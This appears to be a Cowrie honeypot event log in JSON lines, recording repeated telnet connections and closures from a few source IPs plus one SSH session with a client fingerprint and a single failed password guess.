{"eventid":"cowrie.session.closed","duration":30.40137219429016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:39.112584Z","src_ip":"162.55.233.176","session":"db7f562b4c3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.35735607147217,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:39.615172Z","src_ip":"206.189.32.23","session":"9308cee40858","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44396,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2e5d1adad89","protocol":"telnet","message":"New connection: 162.55.233.176:44396 (159.203.135.109:23) [session: e2e5d1adad89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:40.101169Z"}
{"eventid":"cowrie.session.closed","duration":30.6274254322052,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:40.501488Z","src_ip":"162.55.233.176","session":"08fd6daf01e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47684,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fa11212a4c6","protocol":"telnet","message":"New connection: 188.208.141.113:47684 (10.17.0.5:23) [session: 1fa11212a4c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:40.688234Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47688,"dst_ip":"10.17.0.5","dst_port":23,"session":"19da1d0a0350","protocol":"telnet","message":"New connection: 188.208.141.113:47688 (10.17.0.5:23) [session: 19da1d0a0350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:40.734287Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44404,"dst_ip":"159.203.135.109","dst_port":23,"session":"06a4fdbc6200","protocol":"telnet","message":"New connection: 162.55.233.176:44404 (159.203.135.109:23) [session: 06a4fdbc6200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:42.692076Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44412,"dst_ip":"159.203.135.109","dst_port":23,"session":"861791107be3","protocol":"telnet","message":"New connection: 162.55.233.176:44412 (159.203.135.109:23) [session: 861791107be3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:42.709256Z"}
{"eventid":"cowrie.session.closed","duration":35.23647475242615,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:42.904239Z","src_ip":"162.55.233.176","session":"d8fa0d7dc390","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47694,"dst_ip":"10.17.0.5","dst_port":23,"session":"d77bc3d3f7ad","protocol":"telnet","message":"New connection: 188.208.141.113:47694 (10.17.0.5:23) [session: d77bc3d3f7ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:43.740001Z"}
{"eventid":"cowrie.session.closed","duration":37.30849766731262,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:44.163031Z","src_ip":"188.208.141.113","session":"62b5a990c197","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44224,"dst_ip":"159.203.135.109","dst_port":23,"session":"79bc960a18ad","protocol":"telnet","message":"New connection: 162.55.233.176:44224 (159.203.135.109:23) [session: 79bc960a18ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:45.610472Z"}
{"eventid":"cowrie.session.closed","duration":31.562392950057983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:45.686160Z","src_ip":"162.55.233.176","session":"e9a9f1a7cb6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.67888879776001,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:45.912267Z","src_ip":"206.189.32.23","session":"7f93f63dae08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.811235666275024,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:46.132854Z","src_ip":"162.55.233.176","session":"1417bb183c24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.748230934143066,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:46.548046Z","src_ip":"162.55.233.176","session":"78d5999f61f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44228,"dst_ip":"159.203.135.109","dst_port":23,"session":"df56cd34b634","protocol":"telnet","message":"New connection: 162.55.233.176:44228 (159.203.135.109:23) [session: df56cd34b634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:47.128833Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44234,"dst_ip":"159.203.135.109","dst_port":23,"session":"a552cf5da22b","protocol":"telnet","message":"New connection: 162.55.233.176:44234 (159.203.135.109:23) [session: a552cf5da22b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:48.039614Z"}
{"eventid":"cowrie.session.closed","duration":30.89877414703369,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:48.568962Z","src_ip":"162.55.233.176","session":"a7f3b7b7668a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44242,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4b574c1316e","protocol":"telnet","message":"New connection: 162.55.233.176:44242 (159.203.135.109:23) [session: d4b574c1316e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:49.356214Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":56568,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc125ec7df9f","protocol":"telnet","message":"New connection: 206.189.32.23:56568 (10.17.0.5:23) [session: fc125ec7df9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:49.482897Z"}
{"eventid":"cowrie.session.closed","duration":30.764703512191772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:50.696673Z","src_ip":"162.55.233.176","session":"bb7ccfd0a08a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.546539068222046,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:50.821934Z","src_ip":"162.55.233.176","session":"1957ef2f4347","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.04462790489197,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:50.918878Z","src_ip":"162.55.233.176","session":"3bd8aaf58f25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.612082958221436,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:52.025309Z","src_ip":"162.55.233.176","session":"46c3f157853e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.44934415817261,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:52.062433Z","src_ip":"162.55.233.176","session":"989bda892b20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44246,"dst_ip":"159.203.135.109","dst_port":23,"session":"f10bc87a6b42","protocol":"telnet","message":"New connection: 162.55.233.176:44246 (159.203.135.109:23) [session: f10bc87a6b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:52.488537Z"}
{"eventid":"cowrie.session.closed","duration":33.45131301879883,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:53.379554Z","src_ip":"162.55.233.176","session":"2e58a8334873","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.39642071723938,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:53.734974Z","src_ip":"188.208.141.113","session":"02ced0ffc4ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.596298933029175,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:53.886775Z","src_ip":"162.55.233.176","session":"a2bb55e3716e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":36538,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d520fcff109","protocol":"telnet","message":"New connection: 206.189.32.23:36538 (10.17.0.5:23) [session: 2d520fcff109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:55.129457Z"}
{"eventid":"cowrie.session.closed","duration":32.06831622123718,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:56.022792Z","src_ip":"162.55.233.176","session":"beff21c064b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.39026355743408,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:56.751272Z","src_ip":"162.55.233.176","session":"164a60b09a3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.08458948135376,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:57.312869Z","src_ip":"162.55.233.176","session":"0fe20c3007f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":37216,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb6a93c605aa","protocol":"telnet","message":"New connection: 206.189.32.23:37216 (10.17.0.5:23) [session: fb6a93c605aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:57.938661Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38080,"dst_ip":"159.203.135.109","dst_port":23,"session":"f335fd21d152","protocol":"telnet","message":"New connection: 162.55.233.176:38080 (159.203.135.109:23) [session: f335fd21d152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:58.580809Z"}
{"eventid":"cowrie.session.closed","duration":32.66398000717163,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:59.036734Z","src_ip":"162.55.233.176","session":"df2ef0fddd0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38090,"dst_ip":"159.203.135.109","dst_port":23,"session":"98927c375438","protocol":"telnet","message":"New connection: 162.55.233.176:38090 (159.203.135.109:23) [session: 98927c375438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:59.246018Z"}
{"eventid":"cowrie.session.closed","duration":35.21972966194153,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:00.341215Z","src_ip":"162.55.233.176","session":"b73cd0d7c4de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.0035514831543,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:00.745356Z","src_ip":"162.55.233.176","session":"b6ea365dd6d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38104,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f28e3ad28fa","protocol":"telnet","message":"New connection: 162.55.233.176:38104 (159.203.135.109:23) [session: 9f28e3ad28fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:00.831862Z"}
{"eventid":"cowrie.session.closed","duration":34.34629511833191,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:01.299171Z","src_ip":"162.55.233.176","session":"352b950830d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.02926325798035,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:01.650851Z","src_ip":"162.55.233.176","session":"82fb78bf38ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.239985704422,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:02.384107Z","src_ip":"162.55.233.176","session":"5035b3f95504","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.80928564071655,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:02.772731Z","src_ip":"162.55.233.176","session":"1c1161758dea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38108,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9b0f8f9e874","protocol":"telnet","message":"New connection: 162.55.233.176:38108 (159.203.135.109:23) [session: d9b0f8f9e874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:02.805530Z"}
{"eventid":"cowrie.session.closed","duration":37.996909379959106,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:03.315491Z","src_ip":"162.55.233.176","session":"c7cbb720df2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.145920276641846,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:03.960045Z","src_ip":"162.55.233.176","session":"3756ff98149a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40512,"dst_ip":"10.17.0.5","dst_port":23,"session":"620789f39553","protocol":"telnet","message":"New connection: 188.208.141.113:40512 (10.17.0.5:23) [session: 620789f39553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:04.103823Z"}
{"eventid":"cowrie.session.closed","duration":47.52981400489807,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:05.215433Z","src_ip":"206.189.32.23","session":"51585b46ac5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44960,"dst_ip":"159.203.135.109","dst_port":23,"session":"419c6ae9e0db","protocol":"telnet","message":"New connection: 162.55.233.176:44960 (159.203.135.109:23) [session: 419c6ae9e0db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:05.365353Z"}
{"eventid":"cowrie.session.closed","duration":35.24723482131958,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:06.361762Z","src_ip":"162.55.233.176","session":"55c3e45ac49f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44972,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5d2b30beb90","protocol":"telnet","message":"New connection: 162.55.233.176:44972 (159.203.135.109:23) [session: a5d2b30beb90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:06.528140Z"}
{"eventid":"cowrie.session.closed","duration":4.311482191085815,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:08.415175Z","src_ip":"188.208.141.113","session":"620789f39553","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.735044956207275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:08.665521Z","src_ip":"162.55.233.176","session":"5df6bb416a5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40524,"dst_ip":"10.17.0.5","dst_port":23,"session":"55b5637c9dce","protocol":"telnet","message":"New connection: 188.208.141.113:40524 (10.17.0.5:23) [session: 55b5637c9dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:09.270833Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44986,"dst_ip":"159.203.135.109","dst_port":23,"session":"2431361e67eb","protocol":"telnet","message":"New connection: 162.55.233.176:44986 (159.203.135.109:23) [session: 2431361e67eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:09.851897Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44996,"dst_ip":"159.203.135.109","dst_port":23,"session":"510f176581e1","protocol":"telnet","message":"New connection: 162.55.233.176:44996 (159.203.135.109:23) [session: 510f176581e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:10.602243Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":40385,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ffcadac234e","protocol":"ssh","message":"New connection: 38.137.11.14:40385 (10.17.0.5:22) [session: 2ffcadac234e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:10.784996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:10.789487Z","src_ip":"38.137.11.14","session":"2ffcadac234e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:11.015588Z","src_ip":"38.137.11.14","session":"2ffcadac234e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"P@ssw0rd123","message":"login attempt [administrator/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:11.951770Z","src_ip":"38.137.11.14","session":"2ffcadac234e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.09394288063049,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:12.032982Z","src_ip":"162.55.233.176","session":"99e342b7288a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:13.179782Z","src_ip":"38.137.11.14","session":"2ffcadac234e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.975570678710938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:13.684712Z","src_ip":"162.55.233.176","session":"861791107be3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.3909273147583,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:14.192280Z","src_ip":"162.55.233.176","session":"27f585c141be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37320,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d293054da57","protocol":"telnet","message":"New connection: 162.55.233.176:37320 (159.203.135.109:23) [session: 4d293054da57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:14.802705Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37324,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7b9e547fdd7","protocol":"telnet","message":"New connection: 162.55.233.176:37324 (159.203.135.109:23) [session: a7b9e547fdd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:16.353341Z"}
{"eventid":"cowrie.session.closed","duration":40.66336631774902,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:16.508732Z","src_ip":"162.55.233.176","session":"ff6fe9b3fc35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40506672859192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:17.015419Z","src_ip":"162.55.233.176","session":"79bc960a18ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37330,"dst_ip":"159.203.135.109","dst_port":23,"session":"7914285d2ecd","protocol":"telnet","message":"New connection: 162.55.233.176:37330 (159.203.135.109:23) [session: 7914285d2ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:17.295570Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37342,"dst_ip":"159.203.135.109","dst_port":23,"session":"2045234a82fe","protocol":"telnet","message":"New connection: 162.55.233.176:37342 (159.203.135.109:23) [session: 2045234a82fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:17.891931Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37352,"dst_ip":"159.203.135.109","dst_port":23,"session":"02959674c2b2","protocol":"telnet","message":"New connection: 162.55.233.176:37352 (159.203.135.109:23) [session: 02959674c2b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:18.217088Z"}
{"eventid":"cowrie.session.closed","duration":36.35769987106323,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:19.049654Z","src_ip":"162.55.233.176","session":"06a4fdbc6200","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37362,"dst_ip":"159.203.135.109","dst_port":23,"session":"919c6644844c","protocol":"telnet","message":"New connection: 162.55.233.176:37362 (159.203.135.109:23) [session: 919c6644844c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:19.257051Z"}
{"eventid":"cowrie.session.closed","duration":31.672415733337402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:19.711927Z","src_ip":"162.55.233.176","session":"a552cf5da22b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.528571128845215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:20.884616Z","src_ip":"162.55.233.176","session":"d4b574c1316e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37370,"dst_ip":"159.203.135.109","dst_port":23,"session":"8de411439b4c","protocol":"telnet","message":"New connection: 162.55.233.176:37370 (159.203.135.109:23) [session: 8de411439b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:21.297171Z"}
{"eventid":"cowrie.session.closed","duration":41.38455820083618,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:14:21.485618Z","src_ip":"162.55.233.176","session":"e2e5d1adad89","protocol":"telnet"}
